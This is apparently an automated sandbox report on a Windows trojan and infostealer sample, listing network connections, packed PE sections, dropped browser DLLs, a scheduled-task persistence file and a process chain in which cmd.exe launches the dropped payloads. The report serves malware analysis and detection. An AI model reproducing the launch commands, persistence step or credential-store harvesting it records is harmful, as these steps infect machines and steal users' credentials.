Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49808 version: TLS 1.2

Source: 29c55c1284.exe, 0000000D.00000003.2238630833.0000000003C67000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_59402c35-e

System Summary

Binary is likely a compiled AutoIt script file

Source: 29c55c1284.exe, 0000000D.00000002.2246561935.00000000003A2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4ec3b2d1-e
Source: 29c55c1284.exe, 0000000D.00000002.2246561935.00000000003A2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_83cd22fb-d
Source: random[1].exe0.8.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2af57511-6
Source: random[1].exe0.8.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_6859e14b-d
Source: 29c55c1284.exe.8.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a3e337ce-c
Source: 29c55c1284.exe.8.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fcb93f62-e

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name:
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: .idata
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:

PE file has nameless sections

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C4EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C52B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C52B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C52B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4CF280

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C35A0	0_2_6C4C35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5440	0_2_6C4D5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53545C	0_2_6C53545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C505C10	0_2_6C505C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C512C10	0_2_6C512C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53AC00	0_2_6C53AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53542B	0_2_6C53542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D64C0	0_2_6C4D64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED4D0	0_2_6C4ED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506CF0	0_2_6C506CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CD4E0	0_2_6C4CD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D6C80	0_2_6C4D6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5234A0	0_2_6C5234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52C4A0	0_2_6C52C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DFD00	0_2_6C4DFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F0512	0_2_6C4F0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EED10	0_2_6C4EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500DD0	0_2_6C500DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5285F0	0_2_6C5285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C503E50	0_2_6C503E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E4640	0_2_6C4E4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9E50	0_2_6C4E9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C512E4E	0_2_6C512E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C536E63	0_2_6C536E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CC670	0_2_6C4CC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C507E10	0_2_6C507E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515600	0_2_6C515600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C529E30	0_2_6C529E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5376E3	0_2_6C5376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CBEF0	0_2_6C4CBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DFEF0	0_2_6C4DFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52E680	0_2_6C52E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5E90	0_2_6C4E5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524EA0	0_2_6C524EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C507710	0_2_6C507710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D9F00	0_2_6C4D9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CDFE0	0_2_6C4CDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F6FF0	0_2_6C4F6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5177A0	0_2_6C5177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E8850	0_2_6C4E8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED850	0_2_6C4ED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50F070	0_2_6C50F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D7810	0_2_6C4D7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B820	0_2_6C50B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C514820	0_2_6C514820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5350C7	0_2_6C5350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC0E0	0_2_6C4EC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5058E0	0_2_6C5058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F60A0	0_2_6C4F60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EA940	0_2_6C4EA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B970	0_2_6C51B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B170	0_2_6C53B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD960	0_2_6C4DD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C505190	0_2_6C505190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522990	0_2_6C522990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CC9A0	0_2_6C4CC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD9B0	0_2_6C4FD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C509A60	0_2_6C509A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C508AC0	0_2_6C508AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50E2F0	0_2_6C50E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E1AF0	0_2_6C4E1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53BA90	0_2_6C53BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532AB0	0_2_6C532AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C22A0	0_2_6C4C22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4AA0	0_2_6C4F4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DCAB0	0_2_6C4DCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4C5340	0_2_6C4C5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC370	0_2_6C4DC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D320	0_2_6C50D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5353C8	0_2_6C5353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4CF380	0_2_6C4CF380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007AE410	8_2_007AE410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007E3048	8_2_007E3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007A4CD0	8_2_007A4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007D7D63	8_2_007D7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007E763B	8_2_007E763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007E6EE9	8_2_007E6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007A4AD0	8_2_007A4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007E775B	8_2_007E775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007E8700	8_2_007E8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007E2BB0	8_2_007E2BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30000	12_2_7EC30000
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30912	12_2_7EC30912

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C4FCBE8 appears 134 times

Source: file.exe, 00000000.00000002.1840591206.0000000001887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.1840591206.0000000001887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.1867310352.000000006C745000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: file.exe	Static PE information: Section: ZLIB complexity 0.991943359375
Source: file.exe	Static PE information: Section: ZLIB complexity 0.98974609375
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977213541666666
Source: amadka[1].exe.0.dr	Static PE information: Section: ardsdpuc ZLIB complexity 0.9946125523325359
Source: KECBKKEBKE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977213541666666
Source: KECBKKEBKE.exe.0.dr	Static PE information: Section: ardsdpuc ZLIB complexity 0.9946125523325359
Source: explorti.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9977213541666666
Source: explorti.exe.6.dr	Static PE information: Section: ardsdpuc ZLIB complexity 0.9946125523325359
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.991943359375
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.98974609375
Source: a16b294260.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: a16b294260.exe.8.dr	Static PE information: Section: ZLIB complexity 0.991943359375
Source: a16b294260.exe.8.dr	Static PE information: Section: ZLIB complexity 0.98974609375

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@58/61@14/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C527030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C527030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5924:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4960:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1704852784.0000000022D54000.00000004.00000020.00020000.00000000.sdmp, GDBFHDHJKKJDHJJJJKEG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1866681097.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: KECBKKEBKE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCGIJDBAFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
